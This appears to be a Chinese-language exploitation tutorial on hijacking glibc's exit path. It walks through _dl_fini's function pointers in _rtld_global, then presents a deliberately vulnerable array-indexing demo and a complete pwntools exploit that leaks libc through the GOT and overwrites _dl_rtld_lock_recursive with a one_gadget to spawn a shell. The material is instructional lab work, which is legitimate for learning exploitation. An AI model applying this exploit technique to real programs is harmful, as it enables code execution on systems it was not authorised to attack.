__exit_hook
<p>[TOC]</p>
<h1>🌓exit()过程分析</h1>
<p>其实本事不存在 <code>__exit_hook</code> ,只是在触发exit的时候会调用类似于 <code>__malloc_hook</code> 的东西,也就是一处函数指针,只要我们覆盖了该函数指针的值即可实现程序劫持
写一个简单的demo来分析exit具体的调用流程</p>
<pre><code class="language-c">#include<stdlib.h>
void main() { exit(0); }
// gcc demo.c -o demo -no-pie</code></pre>
<p>gdb调试可以看到exit函数调用的函数为 <code>__run_exit_handlers</code>
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=d2021b93870b663cf3841f2e90f94da8&file=file.png" alt="" />
进入该函数后又会调用 <code>_dl_fini</code> 函数
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=21a191227c4116bbb0e31048f2e843a9&file=file.png" alt="" />
在_dl_fini函数里会调用两个关键函数 <code>__rtld_lock_lock_recursive</code> 和 <code>__rtld_lock_unlock_recursive</code></p>
<pre><code class="language-c">// glibc/elf/dl-fini.c
void
internal_function
_dl_fini (void)
{
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));</code></pre>
<p>两个函数原型为</p>
<pre><code class="language-c">// glibc/sysdeps/nptl/libc-lockP.h
#ifdef SHARED
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)
# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)
# define __rtld_lock_unlock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif</code></pre>
<p>一般都是调用上两个定义 <code>GL(dl_rtld_lock_recursive)</code> 和 <code>GL(dl_rtld_unlock_recursive)</code>
GL的定义为</p>
<pre><code class="language-c">// glibc/sysdeps/generic/ldsodefs.h
# if IS_IN (rtld)
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
# endif</code></pre>
<p>也就是去调用_rtld_global中对应的函数指针,该结构体定义为</p>
<pre><code class="language-c">// glibc/sysdeps/generic/ldsodefs.h
#if defined SHARED && defined _LIBC_REENTRANT \
&& defined __rtld_lock_default_lock_recursive
EXTERN void (*_dl_rtld_lock_recursive) (void *);
EXTERN void (*_dl_rtld_unlock_recursive) (void *);
#endif</code></pre>
<p>所以本质上__rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive调用的是两个函数指针
通过gdb命令 <code>p/x _rtld_global</code> 可以看到结构体内包含的函数指针
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=6aafcdd83a7bfbebaa8b4c5445b428c3&file=file.png" alt="" />
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=b69ee7465ab51a20b50b2e59fec97a78&file=file.png" alt="" />
这两个函数指针位于ld段,该段是通过mmap得到的,所以偏移libc地址是固定的,可以计算出来
同时运行那两个函数的时候会传递一个指针参数 <code>GL(dl_load_lock)</code>,这个参数也是结构体 <code>_rtld_global</code> 的一部分,调试来看
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=8ec9d84438ee909e7ba65a1e0887a70c&file=file.png" alt="" />
这个位置是 <code>_dl_load_lock.mutex.__size</code> 的位置
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=a052421b43b8551bff785b97ca1a5939&file=file.png" alt="" />
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=3f073c58b21e35d4e9b9d5e7d643b8ac&file=file.png" alt="" /></p>
<h1>🌓攻击分析</h1>
<p>写一个攻击demo</p>
<pre><code class="language-c">#include<stdio.h>
#include<stdlib.h>
long long int *p;
long long int buf[0x20];
void init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu() {
puts("1. write");
puts("2. read");
puts("3. exit");
printf("choice: ");
}
void write(long long int *p) {
int index;
printf("index: ");
scanf("%d", &index);
printf("input: ");
scanf("%lld", &p[index]);
}
void read(long long int *p) {
int index;
printf("index: ");
scanf("%d", &index);
printf("content: %llx\n", p[index]);
}
void main() {
int choice;
p = buf;
init();
while(1) {
menu();
scanf("%d", &choice);
switch(choice) {
case 1:
write(p);
break;
case 2:
read(p);
break;
case 3:
exit(0);
default:
continue;
}
}
}
// gcc exp_demo.c -o exp_demo
// libc: 2.23-0ubuntu3_amd64</code></pre>
<p>漏洞很明显,是数组越界,首先我们可以通过越界read出got表内libc函数地址,比如泄露puts函数地址
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=17ed3b6338435754450cf4c319e52be5&file=file.png" alt="" />
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=88bae79a60935cb2758f3d0af4ce5e62&file=file.png" alt="" />
之间差距为</p>
<pre><code>(0x4080-0x3fa8)/8 = 27</code></pre>
<p>index也就是-27
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=68b140d5549bd51d20c79732582c55e5&file=file.png" alt="" />
然后就可以计算出libc基地址,然后来看一下那两处函数指针的位置在哪
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=2a70a112e83498e022977ce23fdc871a&file=file.png" alt="" />
偏移量为</p>
<pre><code>0x7ffff7ffdf48 - 0x7ffff7a0e000 = 0x5eff48</code></pre>
<p>函数指针地址就为libc_base + 0x5eff48
接着可以修改p指针为该函数指针地址
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=2cb587fddca5eabf7f0c09eea9fdd41c&file=file.png" alt="" />
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=4d59119dba6d1cbae1acacaa29826866&file=file.png" alt="" />
然后再次进行write,写入函数指针地址处one_gadget
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=d496d99ed043f59c9c6bc805c4eae126&file=file.png" alt="" />
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=2f54f407147499a096a2f0df491080b8&file=file.png" alt="" />
最后执行exit函数,即可getshell
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=c05b2626fd7189a9605feb0032dee8ad&file=file.png" alt="" /></p>
<h2>🌙Exploit</h2>
<pre><code class="language-py">from pwn import*
# context.log_level = 'debug'
o = process('./exp_demo')
elf = ELF('./exp_demo')
libc = elf.libc
def write(index, content):
o.sendlineafter("choice: ", '1')
o.sendlineafter("index: ", str(index))
o.sendlineafter("input: ", content)
def read(index):
o.sendlineafter("choice: ", '2')
o.sendlineafter("index: ", str(index))
read(-27)
o.recvuntil("content: ")
puts_addr = int(o.recv(12), 16)
libc_base = puts_addr - libc.sym['puts']
log.info("libc_base: "+hex(libc_base))
ptr = libc_base + 0x5eff48
one = libc_base + 0xf0897
write(-4, str(ptr))
write(0, str(one))
o.sendlineafter("choice: ", '3')
o.interactive()</code></pre>
<p>还有一种方法就是覆盖函数指针为system地址,然后写入参数/bin/sh,但是这里只能修改p一次,所以无法实现</p>
<h1>🌓参考文章</h1>
<ul>
<li><a href="https://www.cnblogs.com/pwnfeifei/p/15759130.html">https://www.cnblogs.com/pwnfeifei/p/15759130.html</a></li>
<li><a href="https://www.anquanke.com/post/id/260754">https://www.anquanke.com/post/id/260754</a></li>
<li><a href="https://www.anquanke.com/post/id/243196">https://www.anquanke.com/post/id/243196</a></li>
</ul>